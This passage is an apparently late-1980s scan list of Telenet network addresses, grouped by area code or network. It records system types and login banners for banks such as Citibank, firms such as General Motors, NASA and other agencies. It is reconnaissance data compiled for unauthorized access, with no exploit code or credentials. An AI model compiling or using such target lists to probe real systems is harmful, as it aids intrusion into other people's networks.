   2191                   kbm4
   2192                   sls1
   2193                   mdy1
   2194                   ira1
   2195                   ira2
   2196                   why1
   2197                   ndg1
   2198                   lit1
   2450    PRIME
   3141    IDC/370
   6140                   OAG


212--NYC-BRONX & MANHATTAN--ADDRESSES SCANNED:  0-1200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  11                     PLEASE BEGIN
$  28                     PC Pursuit Dialer (2400)
   31      VM/370
*  34
   39      PRIME          IDDD
   40                     PLEASE ENTER /LOGIN
*  48
$  52      PRIME          SYSA
$  73                     USS00
   74      VM/370
   79                     ENTER ID:
*  85
*  86
$  99      HP-3000
   105                    ****INVALID SIGNON
   106                             "
   108                             "
   109                             "
   110                             "
   112     VM/370
$  124     VAX
   131     VM/370
*  132
*  135
   137     PRIME          NY60
   141     PRIME          Telemail
   142     PRIME             "
   145                    ENTER ACCESS ID:
   146                           "
*  149
   152     VAX
$  154     PRIME          NYORK
*  157
*  158
*  160
$  167     PRIME          MPISBS
   170                    Information Services Net
   172                               "
$  173                    Brown Brothers
   174                    Information Services Net
*  197
   200                    ENTER IDENTIFICATION:
   216                    Bank of New York
   226                    USER ID
   231     VM/370
$  235     PRIME          JAMACA
   237                    TIMEINC NYK
   238
   246     VAX            UniTraC
   248     PRIME          RYE
*  249
*  255
*  256
$  257                    BANAMEX Data Network
   258                    ENTER ACCESS ID:
$  259     VAX            BTNET
   260                    Bankers Trust Online
   263     VAX
   266     UNIX
   267     UNIX
$  271                    :
*  273
$  274                    INVALID INPUT
   275                    Bankers Trust Online
*  278
*  279
*  306
$  315                    PC Pursuit Dialer (1200)
   320                    ENTER IDENTIFICATION
   321                            "
$  322                    COMMAND UNRECOGNIZED
*  326
   328                    ENTER IDENTIFICATION
*  336
   345     PRIME          NMSG
$  350                    VTAM002
$  351                       "
*  352
*  354
   359
   376                    Bankers Trust Online
   377                              "
   378                              "
   379                              "
*  432
   433     VAX
   443     VAX
   444     PRIME          EMCO
$  446     VAX
   449     VM/370
   446
   468
   479                    Invalid Login Attempt
*  496
*  497
   500                    enter a for astra
   501                            "
   502                            "
   503                            "
   504                            "
   505                            "
   506                            "
   507                            "
   535                    TIMEINC NYK
   536                         "
   537                         "
   539     VOS
$  540     VAX            Client Videotext Server
$  541     VAX                       "
   544                    TIMEINC NYK
   545                         "
$  546                    APLICACO:
$  548     PRIME          TREPP1
   552                    TIMEINC NYK
   553                         "
   554                         "
   566                         "
   567                         "
*  576
   577                    Telenet Async to 3270
   579a                   Telenet Async to 3270
   580
   615                    Shearson Lehman Hutton
   631
   649     WANG VS
   693
   702
   713     PRIME          NY60
$  726     VAX
$  737                    FINLAY FINE JEWELRY
$  752                            "
$  753                            "
   755     VM/370
*  768
   935
*  970
*  971
*  972
*  973
*  974
*  975
*  976
*  977
*  978
*  979
   981     UNIX
*  1009
*  1031
   1034
   1036
   1039
*  1040
$  1045    HP-3000
   1049                   MHP201A
   1052    PRIME          FTC0
   1069    VAX
$  1071    GS/1
$  1072    GS/1
*  1074
*  1075


213--CALIFORNIA--ADDRESSES SCANNED:  0-1200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   21      PRIME          C6
   22      PRIME          D6
*  23
   24                     Marketron Research
   25
   33
   35                     Marketron Research
   40      PRIME          A6
*  41
   44
*  45
   51
$  52      PRIME          AIS8
*  54
*  57
   58      PRIME          ACSI
   79      UNIX           Interactive Systems
   88      PRIME          MSCOST
$  92a
   102     PRIME          TRWE.A
$  103                    PC Pursuit Dialer (1200)
   105     PRIME          SWOP
$  113
   118     VAX
   121     PRIME          SWWE1
   122     PRIME          TRNGW2
   123     PRIME          SWWA1
   124     PRIME          CS.CAR
   125     PRIME          SWLAR
   126     HP-3000
   128     PRIME          CS.SD
$  143     HP-3000        ANA Trading Corporation
*  144
   151     PRIME          CSSWR1
   153     PRIME          SWLA1
   154     PRIME          SWWCR
   155     PRIME          CS.LA
$  166                    BW/IP International Inc.
*  169
   172a
$  176     AOS
*  178
   199     PRIME          C6
   219
   220                    Telenet Async to 3270
   221a                   Telenet Async to 3270
   227a
*  249
*  250
*  252
*  255
*  256
*  257
   260                    Telenet Async to 3270
   261a                   Telenet Async to 3270
*  336
$  338     HP-3000
   340     PRIME          TRNGW
   342     PRIME          SWLB1
   347
*  361
$  369     PRIME          LA
*  371
   374                    Telenet Async to 3270
   375a                   Telenet Async to 3270
$  412                    PC Pursuit Dialer (1200)
$  413                    PC Pursuit Dialer (2400)
*  464
   485a
   488a
*  1041
*  1043
   1403                   COMPUTAX
   1404                   COMPUTAX


214--TEXAS--ADDRESSES SCANNED:  0-1200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   17                     Teleview
   20                     US Sprint
   21                     Teleview
*  22
   42                     DNA Online
*  48
*  53
   60      HP-3000
$  62      PRIME          TRUSWL
*  65
   71      PRIME          UCCC
   76      CYBER          PCC
   77      PRIME          UCCC
   94a
$  117                    PC Pursuit Dialer (300)
$  118                    PC Pursuit Dialer (1200)
   120
   131     HP-3000
   152     HP-3000
   156     HP-3000
*  157
   159a                   C@
   160a                   C@
   168     HP-3000
   169     HP-3000
   176a    PRIME          UCCC
   177                    HL053-TRAN
   231
   233
   236a
   240     VAX            HQAAFES
   242                    TACL 1>
*  250
*  252
*  253
*  254
*  255
*  256
*  257
*  258
*  259
*  261
*  262
*  263
*  264
*  265
*  266
*  267
*  268
*  269
*  270
*  279
   341     PRIME          BNW
   342     PRIME          GCAD..
*  373
*  530
*  531
*  532
*  533
*  534
*  535
*  536
*  537
*  538
*  539
   607     HP-3000


215--PENNSYLVANIA--ADDRESSES SCANNED:  0-400

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  5                      PC Pursuit Dialer (300)
$  22                     PC Pursuit Dialer (2400)
*  30
$  32      AOS
$  35                     IMS AMERICA
   40                     VU/TEXT
$  45                     IMS AMERICA
   49                     Telebase Systems
*  50
*  54
*  60
   66                     Newsnet
   74
   92a
$  112                    PC Pursuit Dialer (1200)
   121                    Towers Perrin Online
*  132
   135                    VU/TEXT
   136                    DSS::15B1
   137
   140                    VU/TEXT
$  148                    Weston's Computer Center
$  156                    Telenet Async to 3270
$  157a                   Telener Async to 3270
$  234
   235     HP-3000
   262                    Data Mail
   264                    ?
   265                    "
   266                    "
   267                    "
   268                    "
   269     PRIME
*  350
*  360
$  361     HP-3000


216--OHIO--ADDRESSES SCANNED:  0-400

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  20                     PC Pursuit Dialer (300)
$  21                     PC Pursuit Dialer (1200)
$  30                     MRI CICS H0C3
*  31
$  32                     MRI CICS H0C3
$  34      PRIME          SH.US
$  35
*  51
*  55
*  57
*  59
$  60                     MHP201A
   66                     Newsnet
$  74      HP-3000
   109a
*  115
$  120                    PC Pursuit Dialer (2400)
*  125
*  134
*  135
*  138
$  144                    U#=
   163
*  178


217--ILLINIOS--ADDRESSES SCANNED:  0-300

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   25      UNIX           University of Illinois
   26      UNIX           University of Illinois
$  35      VAX            NCSA VMSA
$  39                     ID
$  40
$  41      PRIME          SPRFLD


218--MINNESOTA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  30      AOS
$  38      AOS
$  39      AOS
*  40
$  42      AOS
$  45      AOS
$  56      AOS
$  142     AOS
$  157     AOS


219--INDIANA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   4       PRIME          NODE.1
   5       PRIME          NODE.2
   6       PRIME          NODE.4
   7       PRIME          NODE.5
   8       PRIME          NODE.8
   9                      N1127p3  ENTER GROUP NAME>
   10                     Lincoln National Corp.
*  50


222--UNKNOWN--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   100     PRIME
   301a                   C@
   401a                   C@


223--CITIBANK--ADDRESSES SCANNED:  0-300/1000-3000

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
*  1
$  2       VAX            CRIS
   10      PRIME
*  15
   19      HP-3000
   26      GS/1           IBISM Electronic Village
   30      VAX            Citi Treasury Products
   31                     INVALID FORMAT
   32                     enter a for astra
*  34
   35      VAX            Citi Treasury Products
   39                     HRINFO NETWORK
   40      VAX            Global Report
   46      CICS           PPD Communications Network
   47      CICS           PPD Connunications Network
   48                     Citibank NY  port CBN2
   49                     Online Manual
   50      PRIME
   55      PRIME          WINMIS
   61      VAX            Global Report
   63      VAX            Global Report
   65                     System/88
$  68                     Citimail II
   70      VAX            FIG ADMIN CLUSTER
   71                     Enter Translator Number
   91      VAX
$  92                     Citinet
$  94
$  95                     <<ENTER PASSWORD>>
$  96                     <<ENTER PASSWORD>>
   97                     Quotdial
   98      VAX            CMA1
$  100     VAX
$  103                    <<ENTER PASSWORD>>
$  104     VAX
   175                    enter a for astra
$  176     VAX            PBGNY
   178     VAX            Citibank VAXC
   179     VAX            Citibank VAXC
$  180     Decserver
$  181     Decserver
$  182     Decserver
*  183
*  184
*  185
*  186
$  187     Decserver
$  189     Decserver
   193     PRIME
$  199     RSX-11
   201                    C/C/M
   202                    C/C/M
   203                    C/C/M
   204                    C/C/M
   208                    C/C/M
   260     VAX
*  1000


224--CITIBANK--ADDRESSES SCANNED:  0-700

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   2       VAX            Global Report
   5
   7                      Citibank Test
   9       VAX
   13
   16                     PLEASE SIGN ON
   17                     Citibanking Hong Kong
   22
   24      Decserver
   26                     Mexico Babymail
   27      Decserver
   28      Decserver
   36                     Citibank Mexico
   47                     PPD Communications Network
   51                                "
   52                     Citibank Mexico
   57      VAX
   58                     Citibank Venesuela
   59                     Citibank Quito
   60                     Citibank CBK3
   61                     Citibank Sidney
   62                     Citibank Jakarta
   63                     Citibank Manila
   64                     Citibank New Zealand
   65                     Citibank Singapore
   66
   67
   68                     Argentina Mail
   71                     ENTER TRANSACTION ID:
   73      Decserver
   74                     CHANNEL 03/104
   76                     Cititrak BBS
   78                     Citibank Hong Kong
   79                     Citibank New York
   81                     Citibank Tokyo
   82                     Citibank Seoul
   83                     Citibank New York
   84                     World Corp. Group
   85                     Citibank Hong kong
   86                     Citibank Singapore
   87      Decserver
   88                     Citibank Taipei
   89                     Citibank ICC
   90      WANG VS        BANCO INTERNAL
   91      PRIME
   92
   93
   94      IBM 3270       CSGCOPRO
   97                     CitiMail-Asia Pacific
   98                     C/C/M
   100                    CitiSwitch, New York
   101                    BMS==>
   102                    CitiSwitch Hong Kong
   103                    BRAZILMAIL
   104                    BMS==>
   105                    Type .
   106                    Citibank Panama
   107
   108                    C/C/M
   109                    Citibank Baharain
   110                    Citibank Puerto Rico
   111
   113                    Citibank London
   114
   115
   117                    Citibank Hong Kong
   118                    NEWNET BS
   119     Decserver
   121                    NEWNET BS
   122     VAX            Global Report
   125                    ENTER TRANSACTION ID:
   127                    Citibank Jakarta
   128     PRIME
   129     VAX            CitiTreasury Products
   130     VAX                    "
   131                    Citibank New York
   134
   137     HP-3000
   138
   139     VAX            I.B.F.S.
   140                       "
   141     HP-3000
   145     PRIME
   150                    Citibank New Jersey
   151
   154     PRIME
   160
   161     VAX            FIG ADMIN
   162     PRIME
   163     PRIME
   164     PRIME          WINMIS
   165     GS/1           IBISM Elctronic Village
   166     VAX            CitiTreasury Products
   167     VAX                     "
   168     VAX            Global Report
   170                    Electronic Cash Manager
   173                    HELP Online User Manager
   174     PRIME
   175                    enter a for astra
   176     Decserver
   177
   178     VAX            CRIS
   179                    Citinet
   180                    ENTER QUOTDIAL ID:
   181                    Citimail II N. America
   183     PRIME
   187     Decserver
   188     GS/1           Cititrust WIN
   190     HP-3000
   191                    ENTER TYPE NUMBER
   192     HP-3000
   193     HP-3000
   196     VAX            CMA1
   197                    HRINFO NETWORK
   199                    CHANNEL 08/017
   200                    Citibank Baharain
   201                    CitiMail-Asia Pacific
   202                            "
   203                    Citibank Hong Kong
   204                    LAGB LATINMAIL
   205
   207                    CitiBanking SUC.MONTEVIDEO
   213
   217
   219                    Citibank Stockholm
   221
   222     XENIX
   223     VAX            Global Report
   224     PRIME
   229     VAX            Global Report
   231
   501     PRIME          ATG
   506     IBM            Citibank Hong Kong


229--GENERAL MOTORS--ADDRESSES SCANNED:  0-500

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   113                    DCIPC
   114                    %@CTVVAUd@dUYECVGUIied
   118                       "           "
   137     VAX
   152     VAX
   171                    (Channel b.h128.001)
   172                       "           "
   176     NOS
   177                    (Channel b.h101.001)
   178                    (Channel b.h128.001)
   179                       "           "
   181                    USER NUMBER--
   183                    USER NUMBER--
   184                    Division:
   185
   187     DEC20
   219     VM/370
   220
   226     VAX
   310     PRIME
   311                    IUeASID@CVTTAUD@bhUcAg


301--NARYLAND--ADDRESSES SCANNED:  0-500

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   20                     PLEASE ENTER /LOGIN
*  21
   24                     The Source
   26                     DNAMD1 Online
   28                     The Source
   31      PRIME          NUSA
   33      VOS            United Communications Corp
   38                     The Source
*  39
*  43
   45                     RNN/NGW
*  46
   47                     The Source
   48                     The Source
   49                     The Source
$  52      PRIME
   56                     RNN/NGW
   57                     RNN/NGW
   58      PRIME          CDA Online Services
*  60a
*  61a
$  63      PRIME          PINET
$  65      PRIME          APHISB
   74                     (I)nt (D)atapac (T)elenet
*  77
*  78
   100     VOS            United Communications Corp
   102     CYBER          Arbitron
   103       "               "
   104       "               "
   105       "               "
   106       "               "
   107       "               "
   108       "               "
   109       "               "
   110       "               "
   111       "               "
   112       "               "
   113       "               "
   114       "               "
   115       "               "
   116       "               "
$  125     VAX
   132                    ElHill 3
   140     VAX
   141                    USER ID
$  150     VAX
   156                    The Source
   157                    The Source
   158                    The Source
   159                    The Source
   162                    The Source
*  165
$  167     VAX            Manger Support System
$  68      VAX
   170     VOS            United Communications Corp
$  173                    ID
$  175                    ID
$  176     HP-3000
   178     CYBER          Arbitron
$  243     PRIME
$  245     PRIME
$  246     PRIME
$  247     PRIME
   249     VAX            Tamsco
   301     PRIME          Primecom Network
   302       "               "        "
   303       "               "        "
   307     PRIME
   330     PRIME          Primecom Network
   331       "               "        "
   332       "               "        "
   333       "               "        "
   334       "               "        "
   335       "               "        "
   336     VAX
   337                    Dialcom MHS
   341     PRIME          Primecom Network
   342       "               "        "
   343       "               "        "
   344       "               "        "
   345       "               "        "
   346       "               "        "
   350       "               "        "
   351       "               "        "
   352       "               "        "
   353       "               "        "
   354       "               "        "
   356       "               "        "
   357       "               "        "
   358       "               "        "
   361       "               "        "
   363       "               "        "
   364       "               "        "
   390       "               "        "
   391       "               "        "
   392       "               "        "
   393       "               "        "
   394       "               "        "
   396       "               "        "
   398       "               "        "
   399       "               "        "
   408                    The Source
   430                    The Source
   435                    The Source
$  440                    INVALID-SW-CHARS
*  441
*  442
*  443
*  444
*  445
*  446
*  447
*  448
*  449
*  450
*  451
*  452
$  453     VAX
$  454     PRIME          FRED
   1001                   Campus 2000
   1002                   Telecom Gold
   1004                   Telecom Gold
   1017                   Rev.19
   1018                   Telecom Gold
   1040    VAX            British Telecom
   1041     "                   "
   1047     "                   "
   1049     "                   "
   1050     "                   "
   1051     "                   "
   1052     "                   "
   1053     "                   "
   1054     "                   "
   1055     "                   "
   1057     "                   "
   1058     "                   "
   1060    UNIX           Telecom Gold
   1061     "                   "
   1068     "                   "
   1069     "                   "
   1072                   Telecom Gold
   1073                         "
   1074                         "
   1075                         "
   1076                         "
   1077                         "
   1078                         "
   1079                         "
   1080                         "
   1081                         "
   1082                         "
   1083                         "
   1084                         "
   1085                         "
   1086                         "
   1087                         "
   1088                         "
   1089                         "
   1090                         "
   1200a                        "
   2030                   ID
   2031                    "
   2032                    "
   2033                    "


302--DELAWARE--ADDRESSES SCANNED:  0-300

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  31                     ID
*  32
$  41                     (Tymnet clone)


303-COLORADO--ADDRESSES SCANNED:  0-500

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   7                      NCAR
   8                      NCAR
$  21                     PC Pursuit Dialer (2400)
   38      PRIME          SL
$  50      AOS
$  52      PRIME          DWRC
$  54      AOS
$  57      PRIME          DENVER
$  60      AOS
*  64
*  65
$  66      AOS
$  68      AOS
$  69      AOS
$  78      AOS
   100                    enter switch characters
$  114                    PC Pursuit Dialer (300)
$  115                    PC Pursuit Dialer (1200)
   120     PRIME          SAMSON
$  130     AOS
   131                    Petroleum Info Network
$  138     AOS
   140                    X29 Password:
$  145     AOS
$  146     AOS
$  149                    ID
*  152
$  154     AOS
$  155     AOS
$  156     AOS
$  157     AOS
$  158     AOS
$  159     AOS
$  168     AOS
$  169     AOS
$  172     AOS
$  176     AOS
$  177     AOS
*  179
*  200
$  231     AOS
$  239     AOS
*  244
*  250
$  253     AOS
*  256
$  257     AOS
*  266
   314
   335     PRIME          UDEN01
$  342     HP-3000
   350     VAX
$  353     AOS
$  354     AOS
$  355     AOS
$  356     AOS
$  434     AOS
*  463
$  470     AOS


304--WEST VIRGINIA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  30      AOS
$  31      AOS
$  32                     ID
*  34
*  41
   100                    WVNET
   130                    WVNET


305--FLORIDA--ADDRESSES SCANNED:  0-900

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   4                      Martin Marietta
   20
   22      HP-3000
   35                     ENTER SWITCH CHARACTERS
*  51
*  52
*  56
   63      HP-3000
*  67
*  68
*  69
   73      HP-3000
$  120                    PC Pursuit Dialer (300)
$  121                    PC Pursuit Dialer (1200)
$  122                    PC Pursuit Dialer (2400)
   129     HP-3000
*  135
   136
   137
   138     HP-3000
   140
   148     VAX
   156     VAX            EVF
   159                    VU/TEXT
*  235
*  236
   239     VM/370
$  240     HP-3000
   248     VAX
   255     VAX
*  262
*  263
$  268
   278                    PACKET/74
   330a
*  337
$  338     VAX            AIM
$  345     PRIME          MIAMI
*  350
*  351
*  360
*  361
   365                    Martin Marietta
$  370                    No access to this DTE
   371     VAX            (In Spanish)
*  433
   570
   590
   623                    Telenet Async to 3270
   644


312--ILLINOIS--ADDRESSES SCANNED:  0-1200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  24                     PC Pursuit Dialer (2400)
   34                     Your entry is incorrect
$  35                     VTAM/TSO
*  37
   41                     Your entry is incorrect
   42                     #
   43                     #
   46                     SYSTEM SECURITY STANDARDS
   63                     PEOPLE/LINK
$  64                     Purdue ISN
$  65                     COMMAND UNRECOGNIZED
   70                     PEOPLE/LINK
*  71
*  77
*  78
   101a
   108a
   121                    enter system id--
   131     VM/370
$  133
   135                    PEOPLE/LINK
   142     HP-3000
$  146     HP-3000
$  147                    ONLINE
   150                    Please enter SUBSCRIBERID
$  158     HP-3000
   159                    Please enter SUBSCRIBERID
   160                    PASSWORD
   161                       "
   162                       "
   163                       "
$  166                    ONLINE
$  170     VAX            SKMIC4
   219                    enter system id--
   222                    PASSWORD
   227                    PASSWORD
$  231                    USSMSG02
   233                    PASSWORD
   235                    PASSWORD
*  245
   247
*  253
*  254
$  255                    Enter host access code:
   256                    Please LOGIN
   258                    ID:
*  263
   289                    Baxter ASAP System
   300a    WANG VS        SREA
   301a       "            "
   302a       "            "
   303a       "            "
   304a       "            "
   305a       "            "
   306a       "            "
   307a       "            "
   308a       "            "
   309a       "            "
   310a       "            "
   311a       "            "
   312a       "            "
   313a       "            "
   314a       "            "
   315a       "            "
   316a       "            "
   317a       "            "
   318a       "            "
   319a       "            "
*  338
*  341
*  354
   370                    PEOPLE/LINK
   373a
   374                    Information Resources
   375     VAX            Marketing Fact Book
   378                    Baxter ASAP System
*  391
*  392
*  394
*  395
*  397
$  398                    MHP201A
   400                    Baxter ASAP System
   401                            "
   402                            "
   403                            "
   404                            "
   406                    COMMAND UNRECOGNIZED
$  410                    PC Pursuit Dialer (300)
$  411                    PC Pursuit Dialer (1200)
*  420
*  421
$  422                    MHP201A
*  425
*  427
*  428
*  431
$  434                    Purdue ISN
$  435     HP-3000
$  439                    Purdue ISN
*  442
*  469
*  475
*  476
*  477
   520                    R59X01 login:
   521                          "
   522                          "
   523                          "
   524                          "
   525                          "
   526                    PASSWORD
   527                    PASSWORD
   528                    PASSWORD
   532     VAX            OMNI
   534
   535
   536
   548
$  571
$  572
$  575
$  576
$  577
$  580
$  581
$  590
$  591
$  592
$  593
$  594
$  595
$  596
$  597
   583
   584
   586
   587
   588
   589
   655                    Baxter ASAP System
   740                    Telenet Async to 3270
   741a                   Telenet Async to 3270
*  759
*  761
*  762
*  763
*  764
*  766
*  767
*  768
*  769
$  770                    Telenet Async to 3270
$  771a                   Telenet Async to 3270
$  772                    Telenet Async to 3270
   1030    VAX            First Options of Chicago
   1031    VAX                      "
   1032    VAX                      "
   1033    VAX                      "
   1034    VAX                      "
   1035    VAX                      "
   1036    VAX                      "
   1037    VAX                      "
   1038    VAX                      "
   1112
   1127
   1130                   R52XO1 login:
   1131                        "
   1132                        "
   1133                        "
   1134                        "
   1135                        "
   1136                        "
   1137                        "
   1138                        "
   1139                        "
   1140                        "
   1141                        "
   1142                        "
   1143                        "
   1144                        "


313--MICHIGAN--ADDRESSES SCANNED:  0-400

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  24                     PC Pursuit Dialer (2400)
   25                     COMSHARE
$  30      VAX            GVN VAX CLUSTER
   37                     enter system id--
   38                           "
   40                     Autonet
   41                     Autonet
   43                     enter system id--
   50                     enter system id--
   61                     enter system id--
   62                     merit:x.25
   64                     Telenet Async to 3270
   65a                    Telenet Async to 3270
   68                     (I)nternational (D)atapac
*  75
$  77                     ID
   82                     NTUSSTB5
   83                        "
   85                     enteer system id--
   119                    PASSWORD
   120                       "
   145                    enter your access code?
   146                              "
   148                    ENTER YOUR SUBSCRIBERID;
   160                    PASSWORD
   161                       "
   162                       "
   164                    VU/TEXT
   165                    enter user ID
   172                         "
   173     VAX            IPP
   202                    merit:x.25
   210a
$  214                    PC Pursuit Dialer (300)
$  216                    PC Pursuit Dialer (1200)
*  231
   233
   239     UNIX           GTE
*  245
   249
   250     HP-3000
   252
   255                    $$50 DEVICE TYPE ID
   256                            "
*  257
   346                    ?1040
   347                      "


314--MISSOURI--ADDRESSES SCANNED:  0-300

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  5                      PC Pursuit Dialer (2400)
$  20                     PC Pursuit Dialer (1200)
$  33      AOS
$  35      AOS
$  36      AOS
$  37      AOS
$  38      AOS
*  39
$  40      AOS
$  45      AOS
*  50
*  57
   131                    MDCIS
   132                    Type User Name
$  157     PRIME          JEFCTY
$  179                    ID
*  240
*  241
*  242
*  243
*  244
*  245
*  246
*  247
*  248
*  249
*  250
*  251
*  252
*  253


315--NEW YORK--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   20                     enter system id
$  32                     COMMAND UNRECOGNIZED
$  50                     enter terminal type
$  130                    ID
   134                    enter system id
   135                           "
   136                           "
$  137                    GTE CAMILLUS NY
$  149                    GTE CAMILLUS NY
   150                    GTE CAMILLUS NY
   151                           "
   154
   155
   156                    5294 Controller
   157a                   5294 Controller


317--INDIANA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  30                     ID
*  31
   32                     PRC ACF/VTAM
   34                     PRC ACF/VTAM
   41


318--LOUISIANA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  30      AOS
*  57


321--SPAN--ADDRESSES SCANNED:  VARIOUS

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   104                    NASA Packet Network
   150     PRIME
$  160     VAX            NASA/MFSC
   1030    VAX            MIPS10
   1036    VAX            US GOVERNMENT VAX
   1056    PRIME
   2023    PRIME
   3035    VAX            FLYBOY
   4027a                  ALPHA 5
*  7034
   7036                   LUT 3.2>
$  7055    VAX
   7064    PRIME


334--UNKNOWN--ADDRESSES SCANNED:  VARIOUS

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  100                    National Computer Center
$  102                                "
$  103                    Enter Terminal id?
$  130                    NARDAC
$  131                    NARDAC
*  200
$  500
*  560


335--UNKNOWN--ADDRESSES SCANNED:  VARIOUS

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
*  12
*  13
*  110
*  111
*  120
*  121
*  122
*  123
*  124
*  210


336--UNKNOWN--ADDRESSES SCANNED:  0-700

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  21      VAX            USDA
$  22      VAX             "
$  40      AOS
   159     VAX
$  165     VAX            VSFCA
   173                    Unisys Telcom
   174                         "
   179                         "
*  180
$  181
$  182                    FCCC
*  183
$  185                    IVeASID@CVTTAUD@bhUeAg
$  200     AOS
$  240     PRIME
$  250     AOS
$  260     AOS
*  604


337--UNKNOWN--ADDRESSES SCANNED:  VARIOUS

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  10a
$  15a
*  100
*  101
$  110                    V28048DA
$  120     AOS
*  200
*  201
*  202
*  203


343--BURROUGHS--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   190                    BURROUGHS


401--RHODE ISLAND--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  42                     ID
*  50
   612                    Modem City


402--NEBRASKA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   40                     ID
*  52
   55                     Dynix
*  56
$  60
   64a


404--GEORGIA--ADDRESSES SCANNED:  0-300

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  22                     PC Pursuit Dialer (2400)
*  33
$  36      AOS
$  37      AOS
*  40
*  47
$  72                     ID
$  113                    PC Pursuit Dialer (300)
$  114                    PC Pursuit Dialer (1200)
$  124
*  127
$  128
$  130
*  136
*  175
*  230


405--OKLAHOMA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   19
$  20
*  32
*  33
   34
   45                     Hertz
   46                     C@


406--MONTANA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  32      AOS
$  33      AOS
$  37      AOS
$  44      AOS
$  45      AOS
$  46      AOS
$  47      AOS
$  48      AOS
$  51      AOS
$  52      AOS
$  53      AOS
$  58      AOS
$  61      AOS
$  62      AOS
$  63      AOS
$  64      AOS
$  65      AOS
$  75      AOS
*  125
$  131     AOS
$  132     AOS
$  133     AOS
*  140
*  142
*  145
*  148
$  150     AOS
$  155     AOS
$  157     AOS
$  158     AOS
$  159     AOS
$  161     AOS
$  162     AOS
$  163     AOS
$  176     AOS
$  178     AOS


408--CALIFORNIA--ADDRESSES SCANNED:  0-700

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  21                     PC Pursuit Dialer (2400)
$  38      AOS
$  41      AOS
*  49
*  53
   58a
   62                     TACL1>
*  76
   84a
$  110                    PC Pursuit Dialer (300)
$  111                    PC Pursuit Dialer (1200)
   121     HP-3000
   126a
$  133     UNIX
$  135                    SCS-SALES
*  149
   154     PRIME          GREGOR
$  159     VAX
$  174     AOS
*  175
   235                    Global Weather MU2
   238     UNIX
$  257     VAX            MATRA DESIGN
*  260
*  261
   264                    Portal
*  267
*  268
*  271
   274                    BBB Version 20
   280a
   304                    Call:
   311                    AMDAHL Network
   312                    CCC110A
   313                    AMDAHL Network
   314                         "
   315                         "
$  342     UNIX
$  344     VAX            ANDO
   346     UNIX
$  349                    PCI (Tymnet clone)
   352
$  357                    PCI (Tymnet clone)
$  358                            "
$  359                            "
*  371
$  375                    PCI (Tymnet clone)
$  376                            "
$  377                            "
   378     UNIX           Sunlink
   434                    COMMAND UNRECOGNIZED
   435
$  439                    PCI (Tymnet clone)
$  440                            "
$  444     HP-3000
$  445     VAX            LAUREL
$  457     HP-3000
$  461     AOS
$  462     AOS
$  463     AOS
*  468
$  469     AOS
*  479
*  530
*  531
*  532
$  534     HP-3000
$  537     HP-3000
$  538     HP-3000
*  560
$  561     AOS
*  562
*  563
*  564
*  565
*  566
*  567
$  568     AOS
$  569     AOS
*  570
*  571
*  572
*  573
*  574
$  610     HP-3000
   619     HP-3000
*  620
